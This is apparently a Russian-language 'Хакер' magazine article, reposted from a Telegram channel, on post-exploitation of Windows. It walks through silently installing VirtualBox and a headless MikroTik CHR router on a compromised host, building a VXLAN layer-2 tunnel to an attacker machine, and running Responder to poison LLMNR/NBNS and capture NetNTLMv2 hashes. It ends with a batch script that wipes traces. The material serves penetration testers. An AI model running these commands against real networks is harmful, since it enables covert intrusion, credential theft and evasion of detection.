Хакер - Caster Remix. Используем виртуальный MikroTik для постэксплуатации Windows

Хакер - Caster Remix. Используем виртуальный MikroTik для постэксплуатации Windows

hacker_frei

https://t.me/hacker_frei

Caster

Содержание статьи

  • Caster Remix
  • CHR Deploy
  • VXLAN-туннелирование
  • Атака
  • Зачистка
  • Выводы

Не­дав­но я нашел новый спо­соб орга­низа­ции L2-тун­нелиро­вания про­тив сетей Windows. Вдох­новив­шись иде­ей пин­гви­на‑супер­шпи­она, я про­демонс­три­рую пос­тэкс­плу­ата­цию Windows с помощью вир­туаль­ного MikroTik CHR, который поз­волит про­вес­ти пивотинг и получить L2-дос­туп к целевой сети.

WARNING

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

17 июня 2020 года в «Хакере» выш­ла статья Андрея Жукова про инте­рес­ный спо­соб пос­тэкс­плу­ата­ции Windows: для даль­нейше­го прод­вижения по сети и перех­вата учет­ных дан­ных внут­ри соз­дает­ся вир­туаль­ная машина на Linux. Для дос­тижения сво­ей цели Андрей исполь­зовал VirtualBox в silent-режиме. Основная идея в том, что­бы вир­туаль­ная машина на Linux работа­ла в режиме мос­та, при­чем в сам мост на Linux помеща­ется интерфейс, который смот­рит в сто­рону реаль­ной ОС. Так у этой машины появ­ляет­ся L2-дос­туп, который откры­вает воз­можнос­ти для атак каналь­ного уров­ня, таких как ARP-спу­финг или LLMNR/NBNS-спу­финг. Важ­ный момент: эта тех­ника тре­бует прав адми­нис­тра­тора на ском­про­мети­рован­ной Windows-машине.

 CASTER REMIX

Я вдох­новил­ся иде­ей s0i37, ког­да пытал­ся най­ти новые спо­собы L2-тун­нелиро­вания про­тив Windows. Мне приш­ла в голову мысль запус­тить вир­туаль­ный роутер MikroTik CHR внут­ри реаль­ной Windows с помощью VirtualBox.

CHR (Cloud Hosted Router) — это вир­туаль­ный мар­шру­тиза­тор MikroTik, который мож­но уста­новить с помощью тех­нологий вир­туали­зации. И у него тоже есть воз­можность деп­лоя на VirtualBox. Я выб­рал имен­но его, так как RouterOS 7 — очень гиб­кий и мно­гофун­кци­ональ­ный инс­тру­мент. В нем есть необ­ходимый VXLAN, который работа­ет ста­биль­но. На осно­ве идеи s0i37 я при­думал сле­дующую кон­цепцию:

  • деп­лой CHR внут­ри Windows при пос­тэкс­плу­ата­ции;
  • се­тевая нас­трой­ка CHR в режиме bridge в VBOX;
  • соз­дание пол­ноцен­ного L2-тун­неля с VXLAN, брид­жинг интерфей­сов и получе­ние дос­тупа.
Схе­ма иссле­дова­ния

INFO

Этот век­тор работа­ет кор­рек­тно толь­ко для реаль­ных физичес­ких машин, так как при экс­плу­ата­ции вир­туаль­ных машин могут воз­никнуть проб­лемы с про­хож­дени­ем тра­фика из‑за того, что на интерфей­се ском­про­мети­рован­ной вир­туал­ки может не быть нераз­борчи­вого режима.

Я пос­тро­ил дос­таточ­но неболь­шую сеть для демонс­тра­ции ремик­са, но мой метод может работать из любой точ­ки сетевой инфраструк­туры, так как Ethernet-фрей­мы в тун­неле будут переда­вать­ся поверх L3-соеди­нений с помощью VXLAN-тун­нелиро­вания.

CHR DEPLOY

MikroTik CHR мы исполь­зуем в качес­тве L2-шлю­за, но он будет работать на осно­ве VirtualBox. Вот толь­ко VirtualBox нуж­но каким‑то обра­зом уста­новить на целевой хост, а при этом не всег­да есть воз­можность обес­печить себя гра­фичес­кой обо­лоч­кой. Я пре­дус­мотрел этот сце­нарий и нашел спо­соб «тихой» уста­нов­ки VirtualBox, а так­же спо­соб орга­низа­ции вир­туаль­ной машины.

Са­ма VirtualBox в silent-режиме уста­нав­лива­ется таким обра­зом (я исполь­зую вер­сию 7.0.8):

C:\remix>VirtualBox-7.0.8-156879-Win.exe -s

Те­перь соз­даем вир­туаль­ную машину CHR. Если нет GUI, это мож­но сде­лать с помощью VBoxManage.exe. Сама вер­сия CHR — 7.10.2.

Я при­гото­вил спе­циаль­ный bat-файл для авто­мати­зации про­цес­са. Про­шу заметить, что я исполь­зую образ дис­ка VDI, который буду под­клю­чать к соз­данной вир­туаль­ной машине. Обра­зы VDI обыч­но ска­чива­ются с офи­циаль­ного сай­та MikroTik.

Я все нас­тра­иваю так, что­бы машина работа­ла в режиме мос­та с нераз­борчи­вым режимом. При нас­трой­ке сети тебе понадо­бит­ся уста­новить точ­ное имя интерфей­са в ОС, но его лег­ко узнать с помощью коман­ды Get-NetAdapter в обо­лоч­ке PowerShell.

C:\remix>remix.bat

remix.bat

@echo off

set VMNAME=CasterRemix

set VMMEMORY=512

set VMCPUS=2

set VMDISK=C:\remix\chr-7.10.2.vdi

set VMNIC1=bridged

set VMADAPTER1="Intel(R) Wi-Fi 6 AX201 160MHz"

set VMPROMISC1=allow-all

"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" createvm --name "%VMNAME%" --register

"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifyvm "%VMNAME%" --memory %VMMEMORY% --cpus %VMCPUS%

"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" storagectl "%VMNAME%" --name "SATA Controller" --add sata --controller IntelAHCI

"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" storageattach "%VMNAME%" --storagectl "SATA Controller" --port 0 --device 0 --type hdd --medium "%VMDISK%"

"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifyvm "%VMNAME%" --nic1 %VMNIC1%

"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifyvm "%VMNAME%" --bridgeadapter1 %VMADAPTER1%

"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifyvm "%VMNAME%" --nicpromisc1 %VMPROMISC1%

"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" startvm "%VMNAME%" --type headless

Па­раметр --headless ука­зыва­ет на то, что вир­туаль­ная машина запус­тится в тихом режиме, что­бы не прив­лечь лиш­нее вни­мание поль­зовате­ля.

Пос­ле запус­ка CHR мар­шру­тиза­тор получит адрес авто­мати­чес­ки, так как это заложе­но в его кон­фигура­ции по умол­чанию. Но нам необ­ходимо най­ти сам адрес мар­шру­тиза­тора. Это мож­но сде­лать, нап­ример, с помощью клас­сичес­кого ска­ниро­вания пор­тов TCP/22, TCP/8291 в сети 192.168.1.0/24, где запущен сам CHR в брид­же. В моем слу­чае адрес — 192.168.1.36.

Те­перь под­клю­чим­ся к панели управле­ния CHR (нап­ример, по SSH или Winbox) и сде­лаем началь­ную нас­трой­ку. Нам понадо­бить­ся

  • вык­лючить про­токо­лы обна­руже­ния соседей (Discovery Protocols);
  • вык­лючить про­токо­лы STP, что­бы не нарушить работу легитим­ного дерева STP;
  • за­дать имя сис­темы в CHR (hostname);
  • соз­дать спе­циаль­ный бридж, перемес­тить туда интерфейс, нас­тро­ить работу /ip/dhcp-client для сох­ранения связ­ности с CHR. Ког­да интерфейс помеща­ется в бридж, он под­чиня­ется брид­жу, и для даль­нейшей свя­зи адрес нужен имен­но на брид­же. Нес­мотря на изме­нение нас­трой­ки /ip/dhcp-client, адрес CHR оста­нет­ся таким же.

[admin@MikroTik] > /interface/bridge/add name=bridge1;

/interface/bridge/set protocol-mode=none numbers=0;

/interface/bridge/port add interface=ether1 bridge=bridge1;

/ip dhcp-client/remove 0;

/ip/dhcp-client/add interface=bridge;

/ip/neighbor/discovery-settings/set discover-interface-list=none;

/system/identity/set name=CasterRemix

[admin@CasterRemix] >

Так­же важ­но, что все это нуж­но сде­лать одной коман­дой, ина­че нав­сегда уте­ряешь дос­туп к CHR на уров­не сети и при­дет­ся начинать заново.

VXLAN-ТУННЕЛИРОВАНИЕ

В качес­тве про­токо­ла тун­нелиро­вания я выб­рал VXLAN. Он поз­воля­ет переда­вать L2-фрей­мы поверх про­токо­ла UDP (порт по умол­чанию UDP/4789), то есть пре­дос­тавля­ет воз­можность орга­низо­вать L2-тун­нель меж­ду ата­кующей сис­темой и CHR.

На­ша цель — сеть 192.168.1.0/24, к которой получим L2-дос­туп.

Ла­бора­тор­ная сеть

Меж­ду ата­кующим и MikroTik будет соз­дан тун­нель VXLAN, при­чем они будут устрой­ства­ми VTEP и ста­нут работать в режиме точ­ка — точ­ка (point-to-point), без объ­явле­ний MCAST. VTEP (Virtual Tunnel Endpoint) — устрой­ства, на которых стро­ится и тер­миниру­ется тун­нель VXLAN, они занима­ются инкапсу­ляци­ей и деин­капсу­ляци­ей VXLAN-заголов­ков.

При­мер инкапсу­лиро­ван­ной с помощью VXLAN полез­ной наг­рузки

Важ­но, что­бы перед нас­трой­кой был явный мар­шрут /32 до CHR через шлюз, с которым будет ини­цииро­ван тун­нель. Ина­че соз­данный тун­нель может перек­рыть дос­тижимость до CHR, что вызовет раз­рыв тун­неля. Мар­шрут соз­дает­ся через шлюз по умол­чанию для ата­кующе­го (в слу­чае дан­ной лабора­тор­ной сети — 172.10.200.254).

caster@kali:~$ sudo ip route add 192.168.1.36/32 via 172.10.200.254

На сто­роне ата­кующе­го тун­нель VXLAN будет пос­тро­ен меж­ду адре­сами 172.10.200.252 и 192.168.1.36 (Attacker → CHR), иден­тифика­тор тун­неля (VNI) — 10.

caster@kali:~$ sudo ip link add name evilvxlan type vxlan id 10 local 172.10.200.252 remote 192.168.1.36 dstport 4789

caster@kali:~$ sudo ip link set evilvxlan up

На сто­роне CHR (RouterOS v7) тоже необ­ходимо, что­бы соз­данный интерфейс VXLAN на CHR был помещен в бридж, где находит­ся интерфейс, смот­рящий в сто­рону реаль­ной ОС (ether1), так как CHR на уров­не VirtualBox находит­ся в режиме мос­та.

[admin@CasterRemix] > /interface/vxlan add name=vxlan1 port=4789 vni=10

[admin@CasterRemix] > /interface/vxlan/vteps interface=vxlan1 remote-ip=172.10.200.252 port=4789

[admin@CasterRemix] > /interface/bridge/port add interface=vxlan1 numbers=0

Кар­та VXLAN-тун­нелиро­вания

Пос­ле при­мене­ния этой кон­фигура­ции тун­нель VXLAN будет пос­тро­ен сог­ласно схе­ме выше.

Связь ата­кующе­го с целевой сетью по L2

АТАКА

Те­перь ата­кующий дол­жен получить адрес на интерфей­се evilvxlan, и L2-дос­туп будет обес­печен! Откры­вают­ся воз­можнос­ти для атак каналь­ного уров­ня. Так­же по DHCP может при­лететь вто­рой шлюз, задан­ный по умол­чанию, что разор­вет тун­нель. Так что будь осто­рожен. Я, что­бы избе­жать этой проб­лемы, исполь­зую коман­ду sudo route del default.

caster@kali:~@ sudo dhclient -v evilvxlan; sudo route del default

caster@kali:~@ sudo responder -I evilvxlan -vvv

Ни­же — при­мер отра­ботав­шей внут­ри VXLAN-тун­неля ути­литы responder и отравле­ние зап­росов LLMNR/NBNS/MDNS.

NetNTLMv2-SSP-хеш поль­зовате­ля darkstep

ЗАЧИСТКА

Ког­да понадо­бит­ся затереть сле­ды, необ­ходимо вык­лючить и уда­лить соз­данную вир­туал­ку с MikroTik CHR. Так­же нуж­но уда­лить саму VirtualBox. Естес­твен­но, в silent-режиме.

delete-remix.bat

@echo off

set VMNAME=CasterRemix

"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" controlvm "%VMNAME%" poweroff

"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" unregistervm "%VMNAME%" --delete

wmic product where name="Oracle VM VirtualBox 7.0.8" call uninstall /nointeractive

rmdir /s /q c:\remix 

ВЫВОДЫ

Итак, я про­демонс­три­ровал тех­нику L2-тун­нелиро­вания про­тив машин Windows. Метод спе­цифи­чес­кий, но, на мой взгляд, впол­не прак­тичный.

Эту статью я хочу пос­вятить ушед­шему из жиз­ни Киту Флин­ту, фрон­тме­ну груп­пы The Prodigy, которая выпус­тила пес­ню Omen.

Эта пес­ня была для меня вдох­новени­ем по ходу работы и даже немало пов­лияла на ее стиль.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page